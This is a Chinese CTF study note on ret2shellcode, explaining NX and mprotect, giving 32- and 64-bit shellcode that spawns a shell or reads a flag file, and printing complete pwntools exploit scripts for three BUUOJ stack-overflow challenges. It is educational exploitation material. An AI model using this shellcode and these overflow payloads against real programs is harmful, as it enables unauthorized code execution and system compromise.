0%

ret2shellcode学习总结

前置知识

什么是ret2shellcode

ret2shellcode,即return to shellcode意思是劫持函数返回地址为shellcode的地址,进而控制程序执行shellcode,拿到shell

NX保护

NX保护:将数据(堆,栈)所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时cpu就会抛出异常,而不是去执行恶意指令。

mprotect函数

  • 开启了NX保护,内存页不能执行。如果能在程序中找到mprotect函数,我们便可利用该函数修改内存页的访问权限,然后便可在内存页写入shellcode,获得shell

  • 下面是mprotect函数原型

int mprotect(void *addr,size_t len,int prot);
//addr指向要修改的内存页的起始地址,一个内存页大小为4096(0x1000)字节
//len是要修改的内存长度(以字节为单位)
//prot表示要修改成什么权限(4,2,1 可读可写可执行)
  • idaCtrl+s可以查看各个段的起始地址

shellcode

execve("/bin/sh",0,0)
open(flag_addr,0)
//flag_addr是要打开文件的地址
read(3,addr,0x50)
//一个进程有默认的文件描述符0,1,2。当打开一个新的文件后,新文件的文件描述符就是3,后面再打开的文件的文件描述符以此类推
//addr可以是任意普通地址
//0x50是要读的内容的大小
write(1,addr,0x50)
//文件描述符0,1,2 分别是:标准输入,标准输出,标准错误
//这里的addr要与read函数中的addr一样

32

​ 系统调用存储参数的前3个寄存器:ebx,ecx,edx,函数的系统调用号可在/usr/include/x86_64-linux-gnu/asm/unistd_32.h文件中查看,eax存储系统调用号,执行int 0x80指令进行系统调用。

execve
xor ecx,ecx 
xor edx,edx
xor ebx,ebx ;ebx中现在为0
push ebx ;先把一个0压入栈,用来截断字符串
push 0x68732f2f ;把//sh压入栈
push 0x6e69622f ;把/bin压入栈
mov ebx,esp ;把esp指向的地址赋给了ebx,此时ebx中放的是/bin//sh的地址
push 11
pop eax
int 0x80

这里放一张师父的图片,有助于理解怎么把/bin//sh的地址放入ebx

image-20230926230802945

open_read_write
push 0
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
push 5
pop eax
int 0x80
push eax
pop ebx
push esp
pop ecx
push 0x50
pop edx
push 3
pop eax
int 0x80
push 1
pop ebx
push esp
pop ecx
push 0x50
pop edx
push 4
pop eax
int 0x80

64

​ 系统调用存储参数的前6个寄存器:rdi,rsi,rdx,r10,r8,r9,函数的系统调用号可在/usr/include/x86_64-linux-gnu/asm/unistd_64.h文件中查看,rax存储系统调用号,执行syscall指令进行系统调用。

execve
push 0x3b
pop rax
mov rdi,0x68732f6e69622f #/bin(2f62696e) /sh(2f7368)
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
syscall
open_read_write
push 0x67616c66
push rsp
pop rdi
push 0
pop rsi
push 2
pop rax
syscall
push 3
pop rdi
push rsp
pop rsi
push 0x50
pop rdx
push 0
pop rax
syscall
push 1
pop rdi
push rsp
pop rsi
push 0x50
pop rdx
push 1
pop rax
syscall

​ 我们可以利用pwntools中的asm把写好的汇编代码直接转换成机器码

例题

others_shellcode

这道题直接发送shellcode即可,exp如下

from pwn import *
p = remote("node4.buuoj.cn",25752)
context(arch='i386',os='linux',log_level='debug')

shellcode = asm('''
xor ecx,ecx
xor edx,edx
xor ebx,ebx
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push 11
pop eax
int 0x80
''')
p.sendline(shellcode)
p.interactive()

得到flag

image-20231210222035500

ciscn_2019_n_5

拿到题目,先检查保护,没开保护,64位程序

image-20231210134205669

拖入ida

image-20231210134506057

运行程序,有两次输入的地方

image-20231210134611131

Shift+F12查看字符串,没有找到我们想要的/bin/sh

image-20231210134823032

再看右边函数,也没有system函数

image-20231210134953135


![image-20231210140546109](https://raw.githubusercontent.com/Qwen11/picture/main/202503132352089.png)

我们可以先把```shellcode```写到```bss```段,然后在栈溢出劫持函数返回地址为```shellcode```的起始地址

计算偏移量为```0x28```

![1](https://raw.githubusercontent.com/Qwen11/picture/main/202503132352098.png)

```exp```如下:

```python
from pwn import *
p = process('./ciscn_2019_n_5')
p = remote("node4.buuoj.cn",26032)
context(arch='amd64',os='linux',log_level='debug')

shellcode = asm('''
push 0x3b
pop rax
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
syscall
''')
p.sendline(shellcode)

bss_addr = 0x601080
payload = b'a'*0x28+p64(bss_addr)
p.sendline(payload)

p.interactive()

得到flag

image-20231210150043471

ez_pz_hackover_2016

拿到题目,检查保护,PIE,NX,canary都没开,是32位程序

image-20231210192130416

拖入ida中,分析题目

image-20231210200953491

先进入header函数中看看,就是输出图形的,没什么问题

image-20231210201032463

再进入chall函数中看看,我们主要分析的应该就是这个函数了

image-20231210202908607


![image-20231210203253498](https://raw.githubusercontent.com/Qwen11/picture/main/202503132352393.png)

计算缓冲区到```shellcode```的偏移量为```0x1c```

![image-20231210200821951](https://raw.githubusercontent.com/Qwen11/picture/main/202503132351108.png)

`exp`如下:

```python
from pwn import *
p = process('./ez_pz_hackover_2016')
p = remote("node4.buuoj.cn",26101)
context(arch='i386',os='linux',log_level='debug')

p.recvuntil('crash: ')
s_addr = int(p.recv(10),16)
shellcode_addr = s_addr-28

shellcode = asm('''
xor ecx,ecx
xor edx,edx
xor ebx,ebx
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push 11
pop eax
int 0x80
''')
payload = b'crashme\x00'+b'a'*18+p32(shellcode_addr)+shellcode
p.sendline(payload)
p.interactive()

得到flag

image-20231210215133554